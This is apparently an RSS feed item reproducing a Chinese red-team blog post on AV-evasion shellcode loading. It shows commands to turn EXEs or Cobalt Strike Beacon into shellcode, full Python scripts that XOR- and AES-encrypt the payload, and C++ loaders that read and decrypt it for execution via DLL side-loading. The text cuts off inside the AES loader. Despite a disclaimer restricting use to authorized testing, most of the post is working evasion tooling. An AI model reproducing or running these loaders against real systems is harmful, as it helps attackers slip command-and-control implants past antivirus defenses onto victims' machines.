<rss xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title>Shellcode - 标签 - Simon's Blog</title><link>https://blog.leeissonba.com/tags/shellcode/</link><description>Shellcode - 标签 - Simon's Blog</description><generator>Hugo -- gohugo.io</generator><language>zh-CN</language><managingEditor>leeissonba@gmail.com (Simon)</managingEditor><webMaster>leeissonba@gmail.com (Simon)</webMaster><copyright>Simon</copyright><lastBuildDate>Tue, 28 Jul 2026 23:10:00 +0800</lastBuildDate><atom:link href="https://blog.leeissonba.com/tags/shellcode/" rel="self" type="application/rss+xml"/><item><title>Shellcode 免杀加载完整流程</title><link>https://blog.leeissonba.com/shellcode-evasion-loading-workflow/</link><pubDate>Tue, 28 Jul 2026 23:10:00 +0800</pubDate><author>leeissonba@gmail.com (Simon)</author><guid>https://blog.leeissonba.com/shellcode-evasion-loading-workflow/</guid><description><![CDATA[<div class="featured-image">
                <img src="https://blog.leeissonba.com/images/posts/shellcode-evasion-loading-workflow/featured.jpg" alt="Shellcode 免杀加载完整流程" referrerpolicy="no-referrer">
            </div><p>从 EXE/Beacon 提取或 Cobalt Strike 直接生成 shellcode，经 XOR/AES 加密后，可通过独立加载器或白加黑 DLL 在目标环境解密执行。本文按「生成 → 加密 → 加载 → 交付」梳理完整链路，并给出 CS 白加黑与 GodPotato 两个实战案例。</p>
<div class="details admonition warning open">
    <div class="details-summary admonition-title">
        <i class="icon fas fa-exclamation" aria-hidden="true"></i>合规声明<i class="details-icon fas fa-angle-right" aria-hidden="true"></i>
    </div>
    <div class="details-content">
        <div class="admonition-content">仅供授权渗透测试、安全研究与防御评估使用。请勿用于未授权系统。</div>
    </div>
</div>
<h2 id="整体流程">整体流程</h2>
<div class="mermaid" id="id-4">flowchart LR
    subgraph S1[&#34;① 生成 Shellcode&#34;]
        A1[&#34;EXE / Beacon&#34;] --&gt; A2[&#34;donut / go-donut&#34;]
        A3[&#34;Cobalt Strike&#34;] --&gt; A4[&#34;C 格式 shellcode / .bin&#34;]
        A2 --&gt; B[&#34;原始 shellcode&#34;]
        A4 --&gt; B
    end

    subgraph S2[&#34;② 加密&#34;]
        B --&gt; C{&#34;加密算法&#34;}
        C --&gt; C1[&#34;XOR&#34;]
        C --&gt; C2[&#34;AES&#34;]
        C --&gt; C3[&#34;RSA（参考）&#34;]
        C1 --&gt; D[&#34;.dat / .ini&#34;]
        C2 --&gt; D
        C3 --&gt; D
    end

    subgraph S3[&#34;③ 加载 / 交付&#34;]
        D --&gt; E1[&#34;手动加载器&lt;br/&gt;VirtualProtect / VirtualAlloc&#34;]
        D --&gt; E2[&#34;白加黑 DLL 解密执行&#34;]
        D --&gt; E3[&#34;Go 现成加载器&#34;]
        E2 --&gt; F[&#34;白 EXE 触发上线&#34;]
        E1 --&gt; G[&#34;独立 EXE 执行&#34;]
        E3 --&gt; G
    end</div>
<p>白加黑 DLL 劫持原理详见已发布文章：<a href="https://blog.leeissonba.com/posts/windows-dll-hijacking-analysis/" target="_blank" rel="noopener noreffer ">Windows 白加黑技术剖析</a>。</p>
<h2 id="一生成-shellcode">一、生成 Shellcode</h2>
<h3 id="11-从-exe-提取donut--go-donut">1.1 从 EXE 提取（donut / go-donut）</h3>
<p><strong>go-donut</strong>（仅输出 bin 格式）：<a href="https://github.com/Binject/go-donut" target="_blank" rel="noopener noreffer ">Binject/go-donut</a></p>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-bash">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="复制到剪贴板"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">./go-donut -i windows_amd64.exe   <span class="c1"># 注意必须有后缀，否则生成的 bin 不可用</span></span></span></code></pre></div></div>
<p><strong>donut</strong>（推荐）：<a href="https://github.com/TheWover/donut" target="_blank" rel="noopener noreffer ">TheWover/donut</a></p>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-bash">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="复制到剪贴板"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># -f 3：C 类型 shellcode；-z 2：压缩</span>
</span></span><span class="line"><span class="cl">donut.exe -i windows_i386.exe -f <span class="m">3</span> -z <span class="m">2</span></span></span></code></pre></div></div>
<div class="details admonition warning open">
    <div class="details-summary admonition-title">
        <i class="icon fas fa-exclamation" aria-hidden="true"></i>架构一致<i class="details-icon fas fa-angle-right" aria-hidden="true"></i>
    </div>
    <div class="details-content">
        <div class="admonition-content">shellcode 位数必须与<strong>最终执行它的进程</strong>一致。例如白加黑宿主 <code>et.exe</code> 为 x64，则 CS / donut 也必须出 x64；x86 shellcode 进 x64 进程会直接崩溃。</div>
    </div>
</div>
<h3 id="12-从-cobalt-strike-直接生成">1.2 从 Cobalt Strike 直接生成</h3>
<ol>
<li>CS → <strong>Attacks → Packages → Payload Generator</strong>（输出 C 格式 shellcode；<code>Windows Executable (S)</code> 生成的是可执行文件，不是本文所用的字节数组）</li>
<li>输出格式选 <strong>C</strong>，得到形如 <code>unsigned char buf[] = &quot;\x90\x90...&quot;;</code> 的数组</li>
<li>若走本文的 Python 加密脚本：需得到<strong>原始二进制</strong> <code>.bin</code>（不要只去掉 <code>\x</code> 留下十六进制文本；可用脚本把 <code>\xHH</code> 转为字节，或直接导出/转换 bin）</li>
<li>进入第二章加密，再交由白加黑 DLL 或独立加载器执行</li>
</ol>
<h2 id="二加密方式">二、加密方式</h2>
<h3 id="21-xor-异或加密解密">2.1 XOR 异或加密解密</h3>
<h4 id="python-加密">Python 加密</h4>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-python">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="复制到剪贴板"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">sys</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">xor_encrypt</span><span class="p">(</span><span class="n">shellcode</span><span class="p">,</span> <span class="n">key</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">encrypted_shellcode</span> <span class="o">=</span> <span class="nb">bytearray</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">    <span class="n">key_len</span> <span class="o">=</span> <span class="nb">len</span><span class="p">(</span><span class="n">key</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">shellcode</span><span class="p">)):</span>
</span></span><span class="line"><span class="cl">        <span class="n">encrypted_shellcode</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">shellcode</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">^</span> <span class="n">key</span><span class="p">[</span><span class="n">i</span> <span class="o">%</span> <span class="n">key_len</span><span class="p">])</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">encrypted_shellcode</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">main</span><span class="p">():</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">3</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;Usage: python3 ShellcodeEncrypt.py &lt;payload.bin&gt; &lt;payload.dat&gt;&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="s2">&#34;rb&#34;</span><span class="p">)</span> <span class="k">as</span> <span class="n">file</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">shellcode</span> <span class="o">=</span> <span class="nb">bytearray</span><span class="p">(</span><span class="n">file</span><span class="o">.</span><span class="n">read</span><span class="p">())</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">key</span> <span class="o">=</span> <span class="nb">bytearray</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;henry123456aa+-==@asd&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">encrypted_shellcode</span> <span class="o">=</span> <span class="n">xor_encrypt</span><span class="p">(</span><span class="n">shellcode</span><span class="p">,</span> <span class="n">key</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">2</span><span class="p">],</span> <span class="s2">&#34;wb&#34;</span><span class="p">)</span> <span class="k">as</span> <span class="n">output_file</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">output_file</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">encrypted_shellcode</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s1">&#39;__main__&#39;</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">main</span><span class="p">()</span></span></span></code></pre></div></div>
<h4 id="c-解密">C++ 解密</h4>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-cpp">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="复制到剪贴板"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;Windows.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;cstdio&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;cstring&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;cstdlib&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">void</span><span class="o">*</span> <span class="nf">FileToMem</span><span class="p">(</span><span class="k">const</span> <span class="n">WCHAR</span><span class="o">*</span> <span class="n">FilePath</span><span class="p">,</span> <span class="n">_Out_</span> <span class="n">DWORD</span><span class="o">&amp;</span> <span class="n">BufSize</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">FILE</span><span class="o">*</span> <span class="n">file</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">_wfopen_s</span><span class="p">(</span><span class="o">&amp;</span><span class="n">file</span><span class="p">,</span> <span class="n">FilePath</span><span class="p">,</span> <span class="sa">L</span><span class="s">&#34;rb&#34;</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">0</span> <span class="o">||</span> <span class="o">!</span><span class="n">file</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="k">nullptr</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">fseek</span><span class="p">(</span><span class="n">file</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">SEEK_END</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">BufSize</span> <span class="o">=</span> <span class="n">ftell</span><span class="p">(</span><span class="n">file</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">fseek</span><span class="p">(</span><span class="n">file</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">SEEK_SET</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="kt">void</span><span class="o">*</span> <span class="n">RetVoid</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="n">BufSize</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">RetVoid</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="n">fclose</span><span class="p">(</span><span class="n">file</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="k">nullptr</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">fread</span><span class="p">(</span><span class="n">RetVoid</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="n">BufSize</span><span class="p">,</span> <span class="n">file</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">fclose</span><span class="p">(</span><span class="n">file</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">RetVoid</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// 从与可执行文件同名的 .dat 文件中读取加密 shellcode
</span></span></span><span class="line"><span class="cl"><span class="n">WCHAR</span> <span class="n">szFilePath</span><span class="p">[</span><span class="n">MAX_PATH</span> <span class="o">+</span> <span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">0</span> <span class="p">};</span>
</span></span><span class="line"><span class="cl"><span class="n">GetModuleFileName</span><span class="p">(</span><span class="nb">NULL</span><span class="p">,</span> <span class="n">szFilePath</span><span class="p">,</span> <span class="n">MAX_PATH</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="n">lstrcpyW</span><span class="p">((</span><span class="n">szFilePath</span> <span class="o">+</span> <span class="p">(</span><span class="n">lstrlenW</span><span class="p">(</span><span class="n">szFilePath</span><span class="p">)</span> <span class="o">-</span> <span class="mi">3</span><span class="p">)),</span> <span class="sa">L</span><span class="s">&#34;dat&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">DWORD</span> <span class="n">size</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="kt">void</span><span class="o">*</span> <span class="n">buffer</span> <span class="o">=</span> <span class="n">FileToMem</span><span class="p">(</span><span class="n">szFilePath</span><span class="p">,</span> <span class="n">size</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="p">(</span><span class="n">buffer</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kt">char</span><span class="o">*</span> <span class="n">shellcode</span> <span class="o">=</span> <span class="k">new</span> <span class="kt">char</span><span class="p">[</span><span class="n">size</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">    <span class="n">memcpy</span><span class="p">(</span><span class="n">shellcode</span><span class="p">,</span> <span class="n">buffer</span><span class="p">,</span> <span class="n">size</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">free</span><span class="p">(</span><span class="n">buffer</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">const</span> <span class="kt">char</span> <span class="n">key</span><span class="p">[]</span> <span class="o">=</span> <span class="s">&#34;henry123456aa+-==@asd&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">int</span> <span class="n">keylength</span> <span class="o">=</span> <span class="n">strlen</span><span class="p">(</span><span class="n">key</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="p">(</span><span class="n">DWORD</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">size</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="n">shellcode</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">^=</span> <span class="n">key</span><span class="p">[</span><span class="n">i</span> <span class="o">%</span> <span class="n">keylength</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="c1">// shellcode 已解密，长度为 size
</span></span></span><span class="line"><span class="cl"><span class="p">}</span></span></span></code></pre></div></div>
<h3 id="22-aes-加密解密">2.2 AES 加密解密</h3>
<p>依赖：<a href="https://github.com/kokke/tiny-AES-c" target="_blank" rel="noopener noreffer ">tiny-AES-c</a>（将 <code>aes.c</code>、<code>aes.h</code>、<code>aes.hpp</code> 加入项目）</p>
<h4 id="python-加密-1">Python 加密</h4>
<div class="details admonition note open">
    <div class="details-summary admonition-title">
        <i class="icon far fa-pen-to-square" aria-hidden="true"></i>依赖<i class="details-icon fas fa-angle-right" aria-hidden="true"></i>
    </div>
    <div class="details-content">
        <div class="admonition-content">需安装 <code>pycryptodome</code>：<code>pip uninstall crypto pycrypto &amp;&amp; pip install pycryptodome</code></div>
    </div>
</div>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-python">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="复制到剪贴板"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">Crypto.Cipher</span> <span class="kn">import</span> <span class="n">AES</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">Crypto.Util.Padding</span> <span class="kn">import</span> <span class="n">pad</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">sys</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">main</span><span class="p">():</span>
</span></span><span class="line"><span class="cl">    <span class="n">key</span> <span class="o">=</span> <span class="sa">b</span><span class="s1">&#39;0123456789abcdef&#39;</span>
</span></span><span class="line"><span class="cl">    <span class="n">iv</span> <span class="o">=</span> <span class="sa">b</span><span class="s1">&#39;0123456789abcdef&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">3</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;Usage: python3 shellcodeAESenc.py &lt;payload.bin&gt; &lt;payload.dat&gt;&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="s2">&#34;rb&#34;</span><span class="p">)</span> <span class="k">as</span> <span class="n">file</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">shellcode</span> <span class="o">=</span> <span class="nb">bytearray</span><span class="p">(</span><span class="n">file</span><span class="o">.</span><span class="n">read</span><span class="p">())</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;Original Shellcode Size:&#34;</span><span class="p">,</span> <span class="nb">len</span><span class="p">(</span><span class="n">shellcode</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">cipher</span> <span class="o">=</span> <span class="n">AES</span><span class="o">.</span><span class="n">new</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="n">AES</span><span class="o">.</span><span class="n">MODE_CBC</span><span class="p">,</span> <span class="n">iv</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">padded_data</span> <span class="o">=</span> <span class="n">pad</span><span class="p">(</span><span class="n">shellcode</span><span class="p">,</span> <span class="n">AES</span><span class="o">.</span><span class="n">block_size</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">encrypt</span> <span class="o">=</span> <span class="n">cipher</span><span class="o">.</span><span class="n">encrypt</span><span class="p">(</span><span class="n">padded_data</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">2</span><span class="p">],</span> <span class="s2">&#34;wb&#34;</span><span class="p">)</span> <span class="k">as</span> <span class="n">output_file</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">output_file</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">encrypt</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s1">&#39;__main__&#39;</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">main</span><span class="p">()</span></span></span></code></pre></div></div>
<h4 id="cc-解密">C/C++ 解密</h4>
<div class="code-block code-line-numbers" style="counter-reset: code-block 0">
    <div class="code-header language-cpp">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="复制到剪贴板"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;Windows.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;cstdio&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;cstring&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;cstdlib&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&#34;aes.hpp&#34;</span><span class="cp">
</span></span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">void</span><span class="o">*</span> <span class="nf">FileToMem</span><span class="p">(</span><span class="k">const</span> <span class="n">WCHAR</span><span class="o">*</span> <span class="n">FilePath</span><span class="p">,</span> <span class="n">_Out_</span> <span class="n">DWORD</span><span class="o">&amp;</span> <span class="n">BufSize</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">FILE</span><span class="o">*</span> <span class="n">file</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">_wfopen_s</span><span class="p">(</span><span class="o">&amp;</span><span class="n">file</span><span class="p">,</span> <span class="n">FilePath</span><span class="p">,</span> <span class="sa">L</span><span class="s">&#34;rb&#34;</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">0</span> <span class="o">||</span> <span class="o">!</span><span class="n">file</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="k">nullptr</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">fseek</span><span class="p">(</span><span class="n">file</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">SEEK_END</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">BufSize</span> <span class="o">=</span> <span class="n">ftell</span><span class="p">(</span><span class="n">file</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">fseek</span><span class="p">(</span><span class="n">file</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">SEEK_SET</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="kt">void</span><span class="o">*</span> <span class="n">RetVoid</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="n">BufSize</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">RetVoid</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="n">fclose</span><span class="p">(</span><span class="n">file</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="k">nullptr</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">fread</span><span class="p">(</span><span class="n">RetVoid</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="n">BufSize</span><span class="p">,</span> <span class="n">file</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">fclose</span><span class="p">(</span><span class="n">file</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">RetVoid</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">WCHAR</span> <span class="n">szFilePath</span><span class="p">[</span><span class="n">MAX_PATH</span> <span class="o">+</span> <span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">0</span> <span class="p">};</span>
</span></span><span class="line"><span class="cl">    <span class="n">GetModuleFileName</span><span class="p">(</span><span class="nb">NULL</span><span class="p">,</span> <span class="n">szFilePath</span><span class="p">,</span> <span class="n">MAX_PATH</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">lstrcpyW</span><span class="p">((</span><span class="n">szFilePath</span> <span class="o">+</span> <span class="p">(</span><span class="n">lstrlenW</span><span class="p">(</span><span class="n">szFilePath</span><span class="p">)</span> <span class="o">-</span> <span class="mi">3</span><span class="p">)),</span> <span class="sa">L</span><span class="s">&#34;dat&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">DWORD</span> <span class="n">size</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">void</span><span class="o">*</span> <span class="n">buffer</span> <span class="o">=</span> <span class="n">FileToMem</span><span class="p">(</span><span class="n">szFilePath</span><span class="p">,</span> <span class="n">size</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">buffer</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="kt">char</span><span class="o">*</span> <span class="n">shellcode</span> <span class="o">=</span> <span class="k">new</span> <span class="kt">char</span><span class="p">[</span><span class="n">size</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">        <span class="n">memcpy</span><span class="p">(</span><span class="n">shellcode</span><span class="p">,</span> <span class="n">buffer</span><span class="p">,</span> <span class="n">size</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="n">free</span><span class="p">(</span><span class="n">buffer</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="c1">// 长度须为 16 字节；勿用带尾随 &#39;\0&#39; 的字符串字面量当 key/iv
</span></span></span><span class="line"><span class="cl">        <span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">key</span><span class="p">[</span><span class="mi">16</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span>
